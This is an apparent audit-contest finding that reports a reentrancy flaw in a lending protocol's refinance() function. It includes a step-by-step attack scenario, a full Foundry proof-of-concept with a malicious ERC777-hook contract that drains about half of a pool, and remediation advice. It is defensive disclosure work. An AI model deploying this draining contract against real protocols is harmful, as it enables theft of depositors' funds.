20,000 USDC
View results
Submission Details
Severity: medium
Valid

Reentrancy in `refinance()` allows the attacker to steal the tokens from the pool

Summary

The refinance() method of the Lender contract allows the borrower to transfer his loan to another specified pool. If the debt amount after the transfer will be bigger than before, the additional loan tokens are transferred to the borrower. The problem is that the state of the loan is updated only after the external transfer call. This creates an opportunity for reentrancy attack which can be used by an attacker to steal the tokens from the Lender contract, given that the token transfers the control to the receiver.

Vulnerability Details

Scenario

Please consider the following scenario:

  1. The attacker notices that there is a pool of TKN (lend token) to USDC (borrow token), and that the "TKN" is a token that transfers the control to the receiver upon transfer (for example, some ERC777 token). There is currently 1 million TKN deposited in the pool by some whale. The maxLoanRatio is 2*1e18.

  2. The attacker has only 10_000 TKN and 10_001 USDC. The biggest loan he may take from the pool with this collateral, given that the maxLoanRatio is 2*1e18, is 20_002 TKN.

  3. The attacker creates a pool with the same tokens as whale's. He deposits his 10_000 TKN into the pool and sets minLoandSize: 1 and maxLoanRatio: type(uint256).max .

  4. The attacker borrows 9999 TKN from his own pool, providing 10_000 USDC as a collateral (the remaining 1 USDC will be important later). The ratio of his loan is therefore 0.999 * 1e18;

  5. The attacker calls the refinance() method through his malicious smart contract, refinancing the loan from his pool to the whale's pool. In the Refinance object he specifies that he wants the debt of 10_000 TKN (1 TKN more than before). The refinance() method notices that the new debt is bigger than the old one, therefore transfers 1 TKN to the attacker's smart contract.

  6. The attacker's smart contract uses the hook and reenters the refinance() method with the same parameters, effectively draining the pool of TKNs. The state of the loan has not been updated before the external call, therefore the attacker may refinance his loan again. What was updated, though, is the outstandingLoans from his own pool (this variable have been decreased by 9999 TKN and is now equal to zero). In order for that decreasing operation not to underflow in the subsequent reentrancy rounds, the attacker has to create a "dummy borrow" from his own pool. He therefore borrows 9999 TKN for 1 wei of collateral (that's why he had to have that additional 1 USDC) in each subsequent round from his own pool before each reentrancy.

  7. There is another bug in the refinance() method that complicates the scenario. The balance of the new pool after refinancing is actually decremented twice. Therefore the attacker will only be able to steal half of the whale's pool - the remaining half will be locked forever in the contract.

  8. Eventually, after all the reentrancy rounds and liquidating his own pool, the attacker was able to steal half a milion TKNs (minus protocol fees) from the pool. The remaining half a milion TKNs are locked forever in the contract. The attacker can now repay his loan from whale, spending 10_000 TKN to redeem his 10_000 USDC. Therefore the attacker has stolen almost half a million TKN and the only sacrifice he had to make is those small, one-wei collaterals he had to put for each dummy borrow. Those are non-claimable and lost forever because there is no outstandingLoans corresponding to them.

Please note that the attacker's starting balances of the TKN and USDC may be much smaller and he will still be able to achieve the same results, although in the bigger number of reentrancy iterations.

POC

The code below demonstrates the described attack vector. Save it as a .t.sol file under test/ folder (for example, /test/ExploitRefinanceReentrancy.t.sol), and run it with the following command: forge test --match-test testAttackerStealsPoolExploitingReentrancyInRefinance -vv.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool, Borrow, Refinance} from "../src/utils/Structs.sol";
/**
* @dev ERC777 Mock, used for proving reentrancy
*/
contract TestToken is ERC777 {
constructor() ERC777("test", "t", new address[](0)) {}
function mint(address account, uint256 amount, bytes memory userData, bytes memory operatorData) public {
_mint(account, amount, userData, operatorData, true);
}
}
/**
* @dev Contract that the attacker will use to interact with Beedle protocol
* @notice Exploits reentrancy vulnerability
*/
contract MaliciousContract {
address private immutable REGISTRY = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24; /* Address of IERC1820 Registry */
address private immutable i_owner; /* Owner address */
address private immutable i_lender; /* Beedle's Lender contract address */
address private immutable i_borrowToken; /* The borrowToken (ERC777) */
address private immutable i_lendToken; /* The lendToken (ERC20) */
uint256 private s_reentrancyRound; /* Reentrancy rounds counter */
bytes32 private s_poolId; /* The ID of attacker's pool */
Refinance[] private s_refinances; /* Will be storing our Refinance object */
Borrow private s_borrowTemplate; /* Will be used to save the Borrow object so we may reuse it in the reentrancy iterations */
constructor(address _lender, address _borrowToken, address _lendToken, uint256 _amount) {
i_owner = msg.sender;
i_lender = _lender;
i_borrowToken = _borrowToken;
i_lendToken = _lendToken;
/* Set IERC1820 implementer to receive hook on ERC777 token received */
IERC1820Registry(REGISTRY).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
/* Approve the Lender contract to spend the tokens */
ERC777(i_borrowToken).approve(i_lender, _amount);
}
modifier onlyOwner() {
require(msg.sender == i_owner, "Not an owner!");
_;
}
/**
* @dev Creates a pool on behalf of the attacker
*/
function setPool(Pool memory p, uint256 attackerTotalCollateral) external onlyOwner returns (bytes32 poolId) {
ERC20Mock(p.loanToken).approve(i_lender, p.poolBalance);
ERC20Mock(p.collateralToken).approve(i_lender, attackerTotalCollateral);
poolId = Lender(i_lender).setPool(p);
s_poolId = poolId;
}
/**
* @dev Creates a borrow on behalf of the attacker
*/
function borrow(Borrow[] memory borrows) external onlyOwner {
s_borrowTemplate = borrows[0];
Lender(i_lender).borrow(borrows);
}
/**
* @dev Refinances the attacker's loan to whale's pool
*/
function refinance(Refinance memory refinance) external onlyOwner {
s_refinances.push(refinance);
Lender(i_lender).refinance(s_refinances); /* Triggers reentrancy calls chain */
/* Close the attackers pool to claim the starting deposit */
Lender(i_lender).removeFromPool(s_poolId, 10000 ether);
/* Repay the loan to the whale to collect borrowTokens back */
uint256[] memory loanIdsToRepay = new uint256[](1);
loanIdsToRepay[0] = 0;
ERC20Mock(i_lendToken).approve(i_lender, 10000 ether);
Lender(i_lender).repay(loanIdsToRepay);
/* Redeem all the funds from the pool */
ERC777(i_borrowToken).transfer(i_owner, ERC777(i_borrowToken).balanceOf(address(this))); /* After all reentrancy rounds, send all the borrow tokens back to attacker*/
ERC20Mock(i_lendToken).transfer(i_owner, ERC20Mock(i_lendToken).balanceOf(address(this))); /* After all reentrancy rounds, send all the lend tokens back to attacker*/
}
/**
* @dev ERC777 hook on receiving tokens
* @notice Will be called multiple times due to reentrancy in the Lender.refinance()
*/
function tokensReceived(address payable, address, address, uint256, bytes calldata, bytes calldata) external {
++s_reentrancyRound;
/* We are skipping round 0 and 1 - these are initial transfers; we are only reentering in odd rounds, as the even ones are the transfers from dummy borrows */
if (s_reentrancyRound > 1 && s_reentrancyRound <= 100 && s_reentrancyRound % 2 == 1) {
/* Create a new borrow from the attacker's pool for the outstandingLoans not to underflow */
Borrow[] memory borrowsToMake = new Borrow[](1);
borrowsToMake[0] = Borrow({poolId: s_borrowTemplate.poolId, debt: s_borrowTemplate.debt, collateral: 1});
Lender(i_lender).borrow(borrowsToMake);
/* Reenter */
Lender(i_lender).refinance(s_refinances);
}
}
}
contract ExploitSetPoolReentrancy is Test {
address private constant REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
bytes private constant REGISTRY_BYTECODE = bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
);
uint256 private constant WHALE_DEPOSIT = 1_000_000 ether;
uint256 private constant ATTACKER_DEPOSIT = 10_000 ether;
uint256 private constant ATTACKER_COLLATERAL = 10_001 ether;
uint256 private constant EXPECTED_ENDING_BALANCE = 497500000000000000000050; /* ATTACKER_DEPOSIT + (WHALE_DEPOSIT / 2) - fees */
ERC20Mock private borrowToken;
TestToken private lendToken;
Lender private lender;
MaliciousContract maliciousContract;
address private whale = makeAddr("whale");
address private attacker = makeAddr("attacker");
bytes32 private whalePoolId;
function setUp() external {
/* Mock the ERC1820Registry */
vm.etch(REGISTRY_ADDRESS, REGISTRY_BYTECODE);
/* Deploy Lender singleton, token mocks and malicious contract */
lender = new Lender();
borrowToken = new ERC20Mock();
lendToken = new TestToken();
vm.prank(attacker);
maliciousContract =
new MaliciousContract(address(lender), address(borrowToken), address(lendToken), ATTACKER_DEPOSIT);
/* Mint tokens for the POC actors */
lendToken.mint(whale, WHALE_DEPOSIT, "", "");
lendToken.mint(attacker, ATTACKER_DEPOSIT, "", "");
borrowToken.mint(attacker, ATTACKER_COLLATERAL);
/* Token approvals for Lender contract */
vm.prank(whale);
lendToken.approve(address(lender), WHALE_DEPOSIT);
vm.startPrank(attacker);
lendToken.approve(address(lender), ATTACKER_DEPOSIT);
borrowToken.approve(address(lender), ATTACKER_DEPOSIT);
vm.stopPrank();
/* Whale lender creates a pool */
Pool memory whalesPool = Pool({
lender: whale,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 10 ether,
poolBalance: WHALE_DEPOSIT,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(whale);
whalePoolId = lender.setPool(whalesPool);
}
function testAttackerStealsPoolExploitingReentrancyInRefinance() external {
/* 0. Initial chain state assertion */
uint256 attackerInitialLendTokenBalance = lendToken.balanceOf(attacker);
uint256 attackerInitialBorrowTokenBalance = borrowToken.balanceOf(attacker);
assertEq(attackerInitialLendTokenBalance, ATTACKER_DEPOSIT); /* Attacker has 1_000 * 1e18 lendTokens */
assertEq(attackerInitialBorrowTokenBalance, ATTACKER_COLLATERAL); /* Attacker has 1_000 * 1e18 + 250 borrowTokens */
assertEq(lendToken.balanceOf(address(lender)), WHALE_DEPOSIT); /* There is 1_000_000 * 1e18 lendTokens in the protocol */
/* 1. Attacker notices that there is a pool with 1_000_000 of ERC777 lendToken in the protocol. He funds
his malicious contract with initial deposit */
vm.startPrank(attacker);
lendToken.transfer(address(maliciousContract), ATTACKER_DEPOSIT);
borrowToken.transfer(address(maliciousContract), ATTACKER_COLLATERAL);
/* 2. Attacker creates a pool through maliciousContract with ERC777 token as a lendToken */
Pool memory attackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 1,
poolBalance: ATTACKER_DEPOSIT,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 1,
outstandingLoans: 0
});
bytes32 attackerPoolId = maliciousContract.setPool(attackersPool, ATTACKER_COLLATERAL);
/* 3. Attacker borrows the entire of his pool minus 1 through maliciousContract */
Borrow memory borrow =
Borrow({poolId: attackerPoolId, debt: ATTACKER_DEPOSIT - 1, collateral: ATTACKER_COLLATERAL - 1 ether});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = borrow;
maliciousContract.borrow(borrows);
/* 4. Attacker immedietaly refinances his borrow to whale's pool, redeeming the collateral minus fees. Attackers pool once again
has the initial balance of ERC777 token. Before the loan information is updated, the maliciousContract reenters the refinance() method
and claims the debt again. For each reentrancy round, the attacker has to borrow the stolen money from his pool, in order for the outstandingLoans
decrementation not to underflow.*/
Refinance memory refinance = Refinance({
loanId: 0,
poolId: whalePoolId,
debt: ATTACKER_DEPOSIT,
collateral: ATTACKER_COLLATERAL - 1 ether
});
maliciousContract.refinance(refinance);
vm.stopPrank();
/* 5. Profit. Attacker has stolen all the ERC777 from the whale's pool (minus fees) */
uint256 attackerEndingLendTokenBalance = lendToken.balanceOf(attacker);
uint256 attackerEndingBorrowTokenBalance = borrowToken.balanceOf(attacker);
console.log("-----------------Lend Token--------------");
console.log("s:", attackerInitialLendTokenBalance / 1e18);
console.log("e:", attackerEndingLendTokenBalance / 1e18);
console.log("-----------------Borrow Token--------------");
console.log("s:", attackerInitialBorrowTokenBalance / 1e18);
console.log("e:", attackerEndingBorrowTokenBalance / 1e18);
console.log("---Remained in the Protocol---");
console.log("LND", lendToken.balanceOf(address(lender)) / 1e18);
console.log("BRW", borrowToken.balanceOf(address(lender)) / 1e18);
assertEq(attackerEndingLendTokenBalance, EXPECTED_ENDING_BALANCE);
assertEq(attackerEndingBorrowTokenBalance, attackerInitialBorrowTokenBalance - 49); /* We are doing 49 dummy borrows, so we have sacrificed 49 borrowTokens */
}
}

Impact

If a control-transferring token is deposited in the pool in the Lender contract (ERC777 token for example), half of its balance can be stolen by the attacker and the another half will be locked.

Tools Used

Manual review

Recommendations

Execute all the state modifications in refinance() method before external calls and utilize the OpenZeppelin ReentrancyGuard to patch the vulnerability. Remove the second pool decrease operation as well.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.